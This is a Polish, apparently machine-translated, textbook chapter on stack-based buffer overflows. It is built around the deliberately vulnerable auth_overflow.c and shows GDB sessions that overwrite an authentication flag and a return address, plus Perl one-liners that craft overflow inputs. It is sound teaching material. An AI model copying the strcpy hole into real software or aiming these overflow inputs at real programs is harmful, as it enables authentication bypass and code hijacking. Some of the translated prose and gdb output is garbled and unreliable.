Luki przepełnienia bufora oparte na stosach Eksplorator notyfikacji działa, uszkadzając pamięć, aby kontrolować przepływ wykonania. Program auth_overflow.c demonstruje tę koncepcję.

auth_overflow.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

int check_authentication (char * password) {

int auth_flag = 0;

char hasło_buffer [16];

strcpy (password_buffer, password);

if (strcmp (password_buffer, "brillig") == 0)

auth_flag = 1;

if (strcmp (password_buffer, "outgrabe") == 0)

auth_flag = 1;

return auth_flag;

}

int main (int argc, char * argv []) {

if (argc <2) {

printf ("Użycie:% s < password > \ n", argv [0]);

exit (0);

}

if (check_authentication (argv [1])) {

printf ("\ n - = - = - = - = - = - = - = - = - = - = - = - = - = - \ n");

printf ("Dostęp przyznany. \ n");

printf ("- = - = - = - = - = - = - = - = - = - = - = - = - = - \ n");

} else {

printf ("\ nAccess Denied. \ n");

}

}

Ten przykładowy program akceptuje hasło jako jedyny argument linii poleceń, a następnie wywołuje funkcję check_authentication (). Ta funkcja umożliwia dwa hasła, które mają reprezentować wiele metod uwierzytelniania. Jeśli używane jest jedno z tych haseł, funkcja zwraca wartość 1, która zapewnia dostęp. Powinieneś być w stanie odgadnąć większość z tego tylko patrząc na kod źródłowy przed skompilowaniem go. Użyj opcji -g podczas kompilacji, ponieważ będziemy debugować to później.

reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c

reader@hacking:~/booksrc $ ./auth_overflow

Usage: ./auth_overflow < password >

reader@hacking:~/booksrc $ ./auth_overflow test

Access Denied.

reader@hacking:~/booksrc $ ./auth_overflow brillig

-=-=-=-=-=-=-=-=-=-=-=-=-=-

Access Granted.

-=-=-=-=-=-=-=-=-=-=-=-=-=-

reader@hacking:~/booksrc $ ./auth_overflow outgrabe

-=-=-=-=-=-=-=-=-=-=-=-=-=-

Access Granted.

-=-=-=-=-=-=-=-=-=-=-=-=-=-

reader@hacking:~/booksrc $

Jak dotąd wszystko działa tak, jak mówi kod źródłowy. Tego należy się spodziewać po czymś tak deterministycznym jak program komputerowy. Ale przepełnienie może prowadzić do nieoczekiwanych, a nawet sprzecznych zachowań, umożliwiając dostęp bez odpowiedniego hasła



reader@hacking:~/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-

Access Granted.

-=-=-=-=-=-=-=-=-=-=-=-=-=-

reader@hacking:~/booksrc $

Być może już zorientowałeś się, co się stało, ale spójrzmy na to z debuggerem, aby zobaczyć jego specyfikę.

reader@hacking:~/booksrc $ gdb -q ./auth_overflow

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) list 1

1 #include < stdio.h >

2 #include < stdlib.h >

3 #include < string.h >

4

5 int check_authentication(char *password) {

6 int auth_flag = 0;

7 char password_buffer[16];

8

9 strcpy(password_buffer, password);

10

(gdb)

11 if(strcmp(password_buffer, "brillig") == 0)

12 auth_flag = 1;

13 if(strcmp(password_buffer, "outgrabe") == 0)

14 auth_flag = 1;

15

16 return auth_flag;

17 }

18

19 int main(int argc, char *argv[]) {

20 if(argc < 2) {

(gdb) break 9

Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9.

(gdb) break 16

Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16.

(gdb)

Debugger GDB jest uruchamiany z opcją -q, aby wyłączyć baner powitalny, a punkty przerwania są ustawiane w wierszach 9 i 16. Gdy program jest uruchamiany, wykonywanie zatrzyma się w tych punktach przerwania i da nam szansę na zbadanie pamięci.

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /home/reader/booksrc/auth_overflow AAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password=0xbffff9af 'A' ) at

auth_overflow.c:9

9 strcpy(password_buffer, password);

(gdb) x/s password_buffer

0xbffff7a0: ")????o??????)\205\004\b?o??p???????"

(gdb) x/x &auth_flag

0xbffff7bc: 0x00000000

(gdb) print 0xbffff7bc - 0xbffff7a0

$1 = 28

(gdb) x/16xw password_buffer

0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529

0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000

0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb

0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc

(gdb)

Pierwszy punkt przerwania jest przed wykonaniem polecenia strcpy (). Analizując wskaźnik password_buffer, debugger pokazuje, że jest wypełniony losowymi niezainicjowanymi danymi i znajduje się w pamięci 0xbffff7a0. Badając adres zmiennej zmiennej_auth, widzimy zarówno jej położenie na 0xbffff7bc, jak i jego wartość 0. Polecenie print może być użyte do wykonania arytmetyki i pokazuje, że auth_flag ma 28 bajtów po rozpoczęciu bufora password_buffer. Ta relacja może być również widoczna w bloku pamięci zaczynającym się od hasła password_buffer.


Breakpoint 2, check_authentication (password=0xbffff9af 'A' < repeats 30 times >) at

auth_overflow.c:16

16 return auth_flag;

(gdb) x/s password_buffer

0xbffff7a0: 'A' < repeats 30 times >

(gdb) x/x &auth_flag

0xbffff7bc: 0x00004141

(gdb) x/16xw password_buffer

0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141

0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb

0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc

(gdb) x/4cb &auth_flag

0xbffff7bc: 65 'A' 65 'A' 0 '\0' 0 '\0'

(gdb) x/dw &auth_flag

0xbffff7bc: 16705

(gdb)

Przechodząc do następnego punktu przerwania znalezionego po strcpy (), te lokalizacje pamięci są ponownie badane. Przepełnienie bufora hasła przepełniło się do flagi auth, zmieniając pierwsze dwa bajty na 0x41. Wartość 0x00004141 może wyglądać wstecz, ale pamiętaj, że x86 ma mało-endianową architekturę, więc powinien wyglądać w ten sposób. Jeśli przeanalizujesz każdy z tych czterech bajtów osobno, możesz zobaczyć, jak pamięć jest rzeczywiście rozłożona. Docelowo program potraktuje tę wartość jako liczbę całkowitą o wartości 16705.

Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-

Access Granted.

-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program exited with code 034.

(gdb)

Po przepełnieniu funkcja check_authentication () zwróci 16705 zamiast 0. Ponieważ instrukcja if uwzględnia dowolną niezerową wartość do uwierzytelnienia, przepływ wykonania programu jest kontrolowany w sekcji uwierzytelnionej. W tym przykładzie zmienna znacznika_auth jest punktem kontrolnym wykonywania, ponieważ nadpisanie tej wartości jest źródłem kontrolki. Ale jest to bardzo wymyślny przykład, który zależy od układu pamięci zmiennych. W auth_overflow2.c zmienne są zadeklarowane w odwrotnej kolejności.

auth_overflow2.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

int check_authentication(char *password) {

char password_buffer[16];

int auth_flag = 0;

strcpy(password_buffer, password);

if(strcmp(password_buffer, "brillig") == 0)

auth_flag = 1;

if(strcmp(password_buffer, "outgrabe") == 0)

auth_flag = 1;

return auth_flag;

}

int main(int argc, char *argv[]) {

if(argc < 2) {

printf("Usage: %s < password >\n", argv[0]);

exit(0);

}

if(check_authentication(argv[1])) {

printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");

printf(" Access Granted.\n");

printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");

} else {

printf("\nAccess Denied.\n");

}

}

Ta prosta zmiana powoduje umieszczenie zmiennej auth_flag przed buforem password_buffer w pamięci. Eliminuje to użycie zmiennej return_value jako punktu sterowania wykonaniem, ponieważ nie może być już uszkodzona przez przepełnienie.

reader@hacking:~/booksrc $ gcc -g auth_overflow2.c

reader@hacking:~/booksrc $ gdb -q ./a.out

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) list 1

1 #include < stdio.h >

2 #include < stdlib.h >

3 #include < string.h >

4

5 int check_authentication(char *password) {

6 char password_buffer[16];

7 int auth_flag = 0;

8

9 strcpy(password_buffer, password);

10

(gdb)

11 if(strcmp(password_buffer, "brillig") == 0)

12 auth_flag = 1;

13 if(strcmp(password_buffer, "outgrabe") == 0)

14 auth_flag = 1;

15

16 return auth_flag;

17 }

18

19 int main(int argc, char *argv[]) {

20 if(argc < 2) {

(gdb) break 9

Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.

(gdb) break 16

Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password=0xbffff9b7 'A' < repeats 30 times >) at

auth_overflow2.c:9

9 strcpy(password_buffer, password);

(gdb) x/s password_buffer

0xbffff7c0: "?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\

bH???????\002"

(gdb) x/x &auth_flag

0xbffff7bc: 0x00000000

(gdb) x/16xw &auth_flag

0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8

0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8

0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848

0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880

(gdb)

Podobne pułapki są ustawione, a badanie pamięci pokazuje, że auth_flag (pokazany pogrubioną czcionką powyżej i poniżej) znajduje się przed buforowaniem hasła w pamięci. Oznacza to, że auth_flag nigdy nie może zostać nadpisany przez przepełnienie bufora_hasła.

(gdb) cont

Continuing.

Breakpoint 2, check_authentication (password=0xbffff9b7 'A' < repeats 30 times >)

at auth_overflow2.c:16

16 return auth_flag;

(gdb) x/s password_buffer

0xbffff7c0: 'A'

(gdb) x/x &auth_flag

0xbffff7bc: 0x00000000

(gdb) x/16xw &auth_flag

0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141

0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848

0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880

(gdb)

Zgodnie z oczekiwaniami przepełnienie nie może zakłócać zmiennej auth_flag, ponieważ znajduje się przed buforem. Ale istnieje inny punkt kontrolny wykonania, nawet jeśli nie można go zobaczyć w kodzie C. Jest wygodnie zlokalizowany po wszystkich zmiennych stosu, więc można go łatwo zastąpić. Ta pamięć jest integralna z działaniem wszystkich programów, więc istnieje we wszystkich programach, a kiedy jest nadpisywana, zwykle powoduje awarię programu.

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x08004141 in ?? ()

(gdb)

Przypomnij sobie z poprzedniego rozdziału, że stos jest jednym z pięciu segmentów pamięci używanych przez programy. Stos jest strukturą danych FILO używaną do utrzymywania przepływu wykonawczego i kontekst dla zmiennych lokalnych podczas wywoływania funkcji. Gdy funkcja jest wywoływana, struktura nazywana ramką stosu jest przesuwana na stos, a rejestr EIP przeskakuje do pierwszej instrukcji funkcji. Każda ramka stosu zawiera zmienne lokalne dla tej funkcji i adres zwrotny, aby można było przywrócić EIP. Po zakończeniu tej funkcji ramka stosu jest wysklepiona ze stosu, a adres powrotny służy do przywrócenia EIP. Wszystko to jest wbudowane w architekturę i zazwyczaj jest obsługiwane przez kompilator, a nie przez programistę. Kiedy wywoływana jest funkcja check_authentication (), nowa ramka stosu jest przesuwana na stos powyżej ramki stosu głównego (). W tej ramce znajdują się zmienne lokalne, adres zwrotny i argumenty funkcji. Możemy zobaczyć wszystkie te elementy w debugerze.

reader@hacking:~/booksrc $ gcc -g auth_overflow2.c

reader@hacking:~/booksrc $ gdb -q ./a.out

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) list 1

1 #include < stdio.h >

2 #include < stdlib.h >

3 #include < string.h >

4

5 int check_authentication(char *password) {

6 char password_buffer[16];

7 int auth_flag = 0;

8

9 strcpy(password_buffer, password);

10

(gdb)

11 if(strcmp(password_buffer, "brillig") == 0)

12 auth_flag = 1;

13 if(strcmp(password_buffer, "outgrabe") == 0)

14 auth_flag = 1;

15

16 return auth_flag;

17 }

18

19 int main(int argc, char *argv[]) {

20 if(argc < 2) {

(gdb)

21 printf("Usage: %s < password >\n", argv[0]);

22 exit(0);

23 }

24 if(check_authentication(argv[1])) {

25 printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");

26 printf(" Access Granted.\n");

27 printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");

28 } else {

29 printf("\nAccess Denied.\n");

30 }

(gdb) break 24

Breakpoint 1 at 0x80484ab: file auth_overflow2.c, line 24.

(gdb) break 9

Breakpoint 2 at 0x8048421: file auth_overflow2.c, line 9.

(gdb) break 16

Breakpoint 3 at 0x804846f: file auth_overflow2.c, line 16.

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAA

Breakpoint 1, main (argc=2, argv=0xbffff874) at auth_overflow2.c:24

24 if(check_authentication(argv[1])) {

(gdb) i r esp

esp 0xbffff7e0 0xbffff7e0

(gdb) x/32xw $esp

0xbffff7e0: 0xb8000ce0 0x08048510 0xbffff848 0xb7eafebc

0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898

0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000

0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848

0xbffff820: 0x40f5f7f0 0x48e0fe81 0x00000000 0x00000000

0xbffff830: 0x00000000 0xb7ff9300 0xb7eafded 0xb8000ff4

0xbffff840: 0x00000002 0x08048350 0x00000000 0x08048371

0xbffff850: 0x08048474 0x00000002 0xbffff874 0x08048510

(gdb)

Pierwszy punkt przerwania znajduje się tuż przed wywołaniem funkcji check_authentication () w funkcji main (). W tym momencie rejestr wskaźnika stosu (ESP) to 0xbffff7e0, a górna część stosu jest pokazana. To wszystko jest częścią ramki stosu głównego (). Przechodząc do następnego punktu przerwania wewnątrz check_authentication (), dane wyjściowe poniżej pokazują, że ESP jest mniejszy, ponieważ przesuwa się w górę listy pamięci, aby zrobić miejsce dla ramki stosu check_authentication () pogrubionej, która jest teraz na stosie. Po znalezieniu adresów zmiennej zmiennej_auth (1) i zmiennej password_buffer (2), ich położenie można zobaczyć w ramce stosu

(gdb) c

Continuing.

Breakpoint 2, check_authentication (password=0xbffff9b7 'A' < repeats 30 times >) at

auth_overflow2.c:9

9 strcpy(password_buffer, password);

(gdb) i r esp

esp 0xbffff7a0 0xbffff7a0

(gdb) x/32xw $esp

0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9

0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8

( 1 )

0x00000000

0xbffff7c0:

( 2 )

0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4

0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb

0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc

0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898

0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000

0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848

(gdb) p 0xbffff7e0 - 0xbffff7a0

$1 = 64

(gdb) x/s password_buffer

0xbffff7c0: "?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\

bH???????\002"

(gdb) x/x &auth_flag

0xbffff7bc: 0x00000000

(gdb)

Przechodząc do drugiego punktu przerwania w check_authentication (), przesuwana jest ramka stosu , gdy wywoływana jest funkcja. Ponieważ stos rośnie w górę w kierunku niższych adresów pamięci, stos wskaźnik ma teraz 64 bajty mniej przy 0xbffff7a0. Rozmiar i struktura ramki stosu może się znacznie różnić, w zależności na funkcji i niektórych optymalizacjach kompilatora. Na przykład pierwsze 24 bajty tej ramki stosu są po prostu wyściółka umieszczona tam przez kompilator. Lokalne zmienne stosu, auth_flag i password_buffer, są wyświetlane na odpowiednie miejsca w pamięci w ramce stosu. Auth_flag (1) jest pokazany na 0xbffff7bc, a 16 bajtów bufora hasła (2) pokazane są na 0xbffff7c0 Ramka stosu zawiera więcej niż tylko zmienne lokalne i dopełnienie. Elementy ramki stosu check_authentication () pokazano poniżej. Po pierwsze, pamięć zapisana dla zmiennych lokalnych jest zaznaczona kursywą. Zaczyna się od zmiennej auth_flag przy 0xbffff7bc i trwa do końca 16-bajtowej zmiennej password_buffer. Kolejne kilka wartości na stosie to tylko dopełnienie, które kompilator wrzucił, oraz coś, co nazywa się zapisanym wskaźnikiem ramki. Jeśli program zostanie skompilowany z flagą -fomit-frame-pointer dla optymalizacji, wskaźnik ramki nie będzie użyty w ramce stosu. W (3) wartość 0x080484bb jest adresem zwrotnym ramki stosu, a w (4) adres 0xbffffe9b7 jest wskaźnikiem do łańcucha zawierającego 30 znaków As. Musi to być argument funkcji check_authentication ().

(gdb) x/32xw $esp

0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9

0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000

0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4

0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8

( 3 )

0x080484bb

0xbffff7e0:

( 4 )

0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc

0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898

0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000

0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848

(gdb) x/32xb 0xbffff9b7

0xbffff9b7: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff9bf: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff9c7: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff9cf: 0x41 0x41 0x41 0x41 0x41 0x41 0x00 0x53

(gdb) x/s 0xbffff9b7

0xbffff9b7: 'A' < repeats 30 times >

(gdb)

Adres zwrotny w ramce stosu można zlokalizować poprzez zrozumienie sposobu tworzenia ramki stosu. To proces rozpoczyna się w funkcji main (), nawet przed wywołaniem funkcji.

(gdb) disass main

Dump of assembler code for function main:

0x08048474 < main+0 >: push ebp

0x08048475 < main+1 >: mov ebp,esp

0x08048477 < main+3 >: sub esp,0x8

0x0804847a < main+6 >: and esp,0xfffffff0

0x0804847d < main+9 > : mov eax,0x0

0x08048482 < main+14 >: sub esp,eax

0x08048484 < main+16 >: cmp DWORD PTR [ebp+8],0x1

0x08048488 < main+20 >: jg 0x80484ab < main+55 >

0x0804848a < main+22 >: mov eax,DWORD PTR [ebp+12]

0x0804848d < main+25 >: mov eax,DWORD PTR [eax]

0x0804848f < main+27 >: mov DWORD PTR [esp+4],eax

0x08048493 < main+31 >: mov DWORD PTR [esp],0x80485e5

0x0804849a < main+38 >: call 0x804831c < printf@plt >

0x0804849f < main+43 >: mov DWORD PTR [esp],0x0

0x080484a6 < main+50 >: call 0x804833c < exit@plt >

0x080484ab < main+55 >: mov eax,DWORD PTR [ebp+12]

0x080484ae < main+58 >: add eax,0x4

0x080484b1 < main+61 >: mov eax,DWORD PTR [eax]

0x080484b3 < main+63 >: mov DWORD PTR [esp],eax

0x080484b6 < main+66 >: call 0x8048414 < check_authentication >

0x080484bb < main+71 >: test eax,eax

0x080484bd < main+73 >: je 0x80484e5 < main+113 >

0x080484bf < main+75 >: mov DWORD PTR [esp],0x80485fb

0x080484c6 < main+82 >: call 0x804831c < printf@plt >

0x080484cb < main+87 >: mov DWORD PTR [esp],0x8048619

0x080484d2 < main+94 >: call 0x804831c < printf@plt >

0x080484d7 < main+99 >: mov DWORD PTR [esp],0x8048630

0x080484de < main+106 >: call 0x804831c < printf@plt >

0x080484e3 < main+111 >: jmp 0x80484f1 < main+125 >

0x080484e5 < main+113 >: mov DWORD PTR [esp],0x804864d

0x080484ec < main+120 >: call 0x804831c < printf@plt >

0x080484f1 < main+125 >: leave

0x080484f2 < main+126 >: ret

End of assembler dump.

(gdb)

Zwróć uwagę na dwie linie zaznaczone pogrubioną czcionką na stronie 131. W tym momencie rejestr EAX zawiera wskaźnik do pierwszego argumentu wiersza poleceń. Jest to również argument funkcji check_authentication (). Ta pierwsza instrukcja montażu zapisuje EAX w miejscu wskazania ESP (na górze stosu). Spowoduje to uruchomienie ramki stosu dla check_authentication () z argumentem funkcji. Druga instrukcja to faktyczne połączenie. Ta instrukcja przekazuje adres następnej instrukcji do stosu i przenosi rejestr wskaźnika wykonania (EIP) na początek funkcji check_authentication (). Adres przesłany do stosu jest adresem zwrotnym ramki stosu. W tym przypadku adres następnej instrukcji to 0x080484bb, więc jest to adres zwrotny.

(gdb) disass check_authentication

Dump of assembler code for function check_authentication:

0x08048414 < check_authentication+0>: push ebp

0x08048415 < check_authentication+1 >: mov ebp,esp

0x08048417 < check_authentication+3 >: sub esp,0x38

...

0x08048472 < check_authentication+94 >: leave

0x08048473 < check_authentication+95 >: ret

End of assembler dump.

(gdb) p 0x38

$3 = 56

(gdb) p 0x38 + 4 + 4

$4 = 64

(gdb)

Wykonanie będzie kontynuowane w funkcji check_authentication () po zmianie EIP, a kilka pierwszych instrukcji (przedstawionych pogrubioną czcionką powyżej) zakończy zapisywanie pamięci dla ramki stosu. Te instrukcje są znane jako prolog funkcji. Pierwsze dwie instrukcje dotyczą zapisanego wskaźnika ramki, a trzecia instrukcja odejmuje 0x38 od ESP. To oszczędza 56 bajtów dla zmiennych lokalnych funkcji. Adres zwrotny i zapisany wskaźnik ramki jest już przesunięty do stosu i uwzględnia dodatkowe 8 bajtów 64-bajtowego stosu rama. Gdy funkcja się zakończy, instrukcje leave i ret usuwają ramkę stosu i ustawiają wykonanie rejestr wskaźnika (EIP) do zapisanego adresu zwrotnego w ramce stosu (1) Spowoduje to powrót programu do następnej instrukcji w funkcji main () po wywołaniu funkcji pod adresem 0x080484bb. Ten proces odbywa się za każdym razem, gdy funkcja jest wywoływana w dowolnym programie.

0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9

0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000

0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4

0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8

(1)

0x080484bb

0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc

0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898

0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000

0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848

(gdb) cd

Kontynuacja.

Punkt przerwania 3, check_authentication (password = 0xbffff9b7 'A' < powtarza 30 razy >)

at auth_overflow2.c: 16

16 return auth_flag;

(gdb) x / 32xw $ esp

0xbffff7a0: 0xbffff7c0 0x080485dc 0xbffff7b8 0x080482d9

0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000

0xbffff7c0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff7d0: 0x41414141 0x41414141 0x41414141

(2)

0x08004141

0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc

0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898

0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000

0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848

(gdb) cd

Kontynuacja.

Program odebrał sygnał SIGSEGV, Błąd segmentacji.

0x08004141 w? ()

(gdb)

Kiedy niektóre bajty zapisanego adresu powrotnego zostaną nadpisane, program nadal będzie próbował użyć tej wartości, aby przywrócić rejestr wskaźnika wykonania (EIP). Zwykle powoduje to awarię, ponieważ wykonanie zasadniczo przeskakuje do losowej lokalizacji. Ale ta wartość nie musi być losowa. Jeżeli nadpisanie jest kontrolowane, wykonanie może być z kolei sterowane, aby przejść do określonej lokalizacji. Ale gdzie powinniśmy powiedzieć, żeby odszedł?

Powrót

11.07.2020

Eksperymentowanie z BASH

Ponieważ tak wiele hackowania jest zakorzenione w eksploatacji i eksperymentowaniu, niezbędna jest umiejętność szybkiego wypróbowywania różnych rzeczy. Eksperyment z wyzyskiem. Perl jest interpretowanym językiem programowania z poleceniem print, które okazuje się szczególnie przydatne do generowania długich linii poleceń za pomocą przełącznika -e, jak poniżej:

reader@hacking:~/booksrc $ perl -e 'print "A" x 20;'

AAAAAAAAAAAAAAAAAAAA

To polecenie mówi Perlowi, aby wykonywał polecenia znalezione między pojedynczymi cudzysłowami - w tym przypadku pojedyncze polecenie drukowania Dowolny znak, taki jak niedrukowany znak, może być również wydrukowany za pomocą \ x ##, gdzie ## jest szesnastkową wartością znak A, który ma szesnastkową wartość 0x41.

reader@hacking:~/booksrc $ perl -e 'print "\x41" x 20;'

AAAAAAAAAAAAAAAAAAAA

Ponadto, konkatenacja łańcuchów może być wykonana w Perlu z kropką (.). Może to być przydatne podczas przeciągania wielu adresów

reader@hacking:~/booksrc $ perl -e 'print "A"x20 . "BCD" . "\x61\x66\x67\x69"x2 . "Z";'

AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ

Cała komenda powłoki może być wykonywana jak funkcja, zwracając jej dane wyjściowe. Odbywa się to poprzez otaczanie polecenia

reader@hacking:~/booksrc $ $(perl -e 'print "uname";')

Linux

reader@hacking:~/booksrc $ una$(perl -e 'print "m";')e

Linux

reader@hacking:~/booksrc $

W każdym przypadku wynik polecenia znalezionego między nawiasami jest zastępowany przez polecenie, a polecenie jest wykonywane z poważnymi znakami akcentu (', przechylony pojedynczy cytat na klawiszu tyldy). Możesz użyć dowolnej składni, w której czuje się więcej osób.

reader@hacking:~/booksrc $ u`perl -e 'print "na";'`me

Linux

reader@hacking:~/booksrc $ u$(perl -e 'print "na";')me

Linux

reader@hacking:~/booksrc $

Podstawianie poleceń i Perl mogą być używane w połączeniu do szybkiego generowania buforów przepełnienia w locie. Możesz użyć tej dokładnej długości.

reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A"x30')

[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'

[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'

[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)

[STRCPY] copying 30 bytes into buffer_two

[AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAA'

[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAA'

[AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)

Segmentation fault (core dumped)

reader@hacking:~/booksrc $ gdb -q

(gdb) print 0xbffff7f4 - 0xbffff7e0

$1 = 20

(gdb) quit

reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A"x20 . "ABCD"')

[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'

[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'

[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)

[STRCPY] copying 24 bytes into buffer_two

[AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAABCD'

[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAABCD'

[AFTER] value is at 0xbffff7f4 and is 1145258561 (0x44434241)

reader@hacking:~/booksrc $

W powyższym wyjściu GDB jest używany jako kalkulator heksadecymalny do obliczenia odległości między buffer_two (0xbfffff7e0 Używając tej odległości, zmienna wartości jest nadpisywana dokładną wartością 0x44434241, ponieważ znaki A, B, C i D są znakami najmniej znaczący bajt, ze względu na architekturę Little Endian. Oznacza to, że chcesz kontrolować pamięć wartości zmiennej w odwrotnej kolejności.

reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A"x20 .

"\xef\xbe\xad\xde"')

[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'

[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'

[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)

[STRCPY] copying 24 bytes into buffer_two

[AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAA??'

[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAA??'

[AFTER] value is at 0xbffff7f4 and is -559038737 (0xdeadbeef)

reader@hacking:~/booksrc $

Ta technika może zostać zastosowana do nadpisania adresu zwrotnego w programie auth_overflow2.c z dokładną wartością. W przykładzie main().

reader@hacking:~/booksrc $ gcc -g -o auth_overflow2 auth_overflow2.c

reader@hacking:~/booksrc $ gdb -q ./auth_overflow2

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) disass main

Dump of assembler code for function main:

0x08048474 < main+0 >: push ebp

0x08048475 < main+1 >: mov ebp,esp

0x08048477 < main+3 >: sub esp,0x8

0x0804847a < main+6 >: and esp,0xfffffff0

0x0804847d < main+9 >: mov eax,0x0

0x08048482 < main+14 >: sub esp,eax

0x08048484 < main+16 >: cmp DWORD PTR [ebp+8],0x1

0x08048488 < main+20 >: jg 0x80484ab < main+55 >

0x0804848a < main+22 >: mov eax,DWORD PTR [ebp+12]

0x0804848d < main+25 >: mov eax,DWORD PTR [eax]

0x0804848f < main+27 >: mov DWORD PTR [esp+4],eax

0x08048493 < main+31 >: mov DWORD PTR [esp],0x80485e5

0x0804849a < main+38 >: call 0x804831c < printf@plt >

0x0804849f < main+43 >: mov DWORD PTR [esp],0x0

